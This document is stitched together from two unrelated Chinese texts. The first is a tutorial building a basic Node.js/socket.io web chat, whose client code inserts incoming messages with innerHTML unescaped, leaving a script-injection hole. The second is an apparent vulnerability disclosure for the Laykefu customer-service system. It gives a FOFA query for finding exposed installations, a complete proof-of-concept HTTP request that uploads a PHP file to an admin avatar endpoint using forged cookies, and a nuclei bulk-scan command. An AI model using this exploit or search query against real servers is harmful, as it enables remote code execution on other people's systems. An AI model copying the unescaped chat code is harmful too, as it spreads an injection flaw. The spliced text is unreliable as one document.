202年了，QQ、微信等聊天工具已經非常成熟，一般的情況下沒有必要去創建一個IM應用了。現在的開源技術，通過一些簡單快速的開發即可實現一款Web IM，可以適用于多客服系統、內部溝通平臺等等。

準備工作

• 安裝NodeJS

C:\Users\chen3>node -v
v10.16.3

• 創建源代碼目錄

D:\code>mkdir webim

• 初始化代碼

npm init

• 添加基礎依賴

npm install --save socket.io express
npm install --save-dev @babel/core @babel/cli @babel/preset-env @babel/node

• 在package.json內增加start腳本（為了使用ES6+特性，引入babel）

"start": "babel-node index.js"

邏輯實現

• 編輯index.html，內容如下

<script src="https://cdnjs.cloudflare.com/ajax/libs/socket.io/2.3.0/socket.io.js"></script>
<h1 id="ucount"></h1>

<div id="msgs"></div>

<input type="text" id="text" />

<script>
  var socket=io.connect("/msg");
  var msgs=$("msgs");
  function $(id) {
    return document.getElementById(id);
  }
  // 收到消息時，將消息輸出到頁面上
  socket.on("message", function(data) {
    msgs.innerHTML +=data + "<br />";
  });
  // 在線人數變化時更新界面
  socket.on("online", function(u) {
    $("ucount").innerHTML="當前" + u.ucount + "人在線";
  });

  $("text").addEventListener("keyup", function(e) {
    // 輸入回車時，發送給服務器
    if (e.keyCode===13) {
      var t=$("text").value;

      socket.emit("message", t, function() {
        msgs.innerHTML +=t + "<br />";
      });
      $("text").value="";
    }
  });
</script>

• 編輯index.js，內容如下

import http from "http";
import path from "path";
import express from "express";
import socketIO from "socket.io";

const app=express();

const server=http.Server(app);

app.set("views", path.join(__dirname, "views"));
app.set("view engine", "jade");

app.use(express.json());

// 頁面模板
app.get("/", function(_req, res) {
  res.sendFile(__dirname + "/index.html");
});

initWebIM(app, server, "/msg");

server.listen(8080);

let userCount=0;
const users={};
const noop=()=> {};

function initWebIM(app, server, endpoint) {
  const io=socketIO(server);

  io.of(endpoint).on("connection", function(socket) {
    // 連接時，記錄用戶
    setUser(socket.id, {
      sid: socket.id,
      socket: socket
    });

    // 廣播新用戶上線/用戶數變化
    // 廣播：發給除了當前socket之外的所有socket
    socket.broadcast.emit("online", {
      ucount: userCount
    });

    // 當前用戶返回
    socket.emit("online", {
      ucount: userCount
    });

    // 服務端收到消息時，廣播給大家
    socket.on("message", function(data, callback) {
      callback=callback || noop;

      socket.broadcast.emit("message", data);

      // 回調，發送者更新界面
      callback();
    });

    // 下線群發通知
    socket.on("disconnect", function() {
      unsetUser(socket.id);
      socket.broadcast.emit("online", {
        ucount: userCount
      });
    });
  });
}

function setUser(socketId, info) {
  var isNew=false;
  if (!users[socketId]) {
    users[socketId]={};
    userCount++;
    isNew=true;
  }
  Object.assign(users[socketId], info);
  return isNew;
}

function unsetUser(socketId) {
  if (users[socketId]) {
    delete users[socketId];
    userCount--;
  }
}

效果預覽

至此，就實現了一個最簡單的一個多人在線web對話的程序。

改進點

很明顯，作為一個聊天工具，還缺少很多的功能或者模塊，距離完整的系統相當遙遠，比如

• 自定義表情
• 發送圖片、視頻、文章鏈接等
• 安全過濾
• 群組功能
• 桌面、手機客戶端的支持
• ...

如果大家有興趣，可以留言，我會在后續內容中考慮。

產品介紹】

Laykefu 是一款基于workerman+gatawayworker+thinkphp5搭建的全功能webim客服系統，旨在幫助企業有效管理和提供優質的客戶服務

【漏洞介紹】

Laykefu客服系統/admin/users/upavatar.html接口處存在文件上傳漏洞

【資產測繪Query】

fofa語法：icon_hash="-334624619"

【產品界面】

【漏洞復現】

【poc】

POST /admin/users/upavatar.html HTTP/2
Host: 
Cookie: user_name=1; user_id=3
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua: "Edge";v="107", "Chromium";v="107", "Not=A?Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Content-Length: 198

------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

<?php echo 13579; ?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--

【批量掃描】

.\nuclei -l 1.txt -t 1.yaml

【修復建議】

1、請聯系廠商進行修復。
2、如非必要，禁止公網訪問該系統。
3、設置白名單訪問。